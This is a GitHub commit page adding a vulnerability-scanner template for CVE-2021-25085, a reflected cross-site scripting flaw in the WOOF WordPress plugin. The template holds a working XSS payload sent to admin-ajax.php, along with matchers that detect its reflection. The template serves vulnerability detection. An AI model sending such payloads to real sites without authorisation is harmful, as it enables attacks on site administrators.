Merge pull request #4597 from 0xmaximus/master

Create CVE-2021-25085.yaml
patch-1
Prince Chaddha 2022-06-16 10:57:16 +05:30 committed by GitHub
commit 4dfcf0230d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 38 additions and 0 deletions

View File

@ -0,0 +1,38 @@
id: CVE-2021-25085
info:
name: WOOF WordPress plugin - Reflected Cross-Site Script
author: Maximus Decimus
severity: medium
description: |
The plugin does not sanitise and escape the woof_redraw_elements before outputing back in an admin page, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90
- https://plugins.trac.wordpress.org/changeset/2648751
- https://nvd.nist.gov/vuln/detail/CVE-2021-25085
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25085
tags: cve,cve2021,wordpress,wp-plugin,wp,xss
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=<img%20src=x%20onerror=alert(document.domain)>"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"additional_fields":["<img src=x onerror=alert(document.domain)>"]}'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200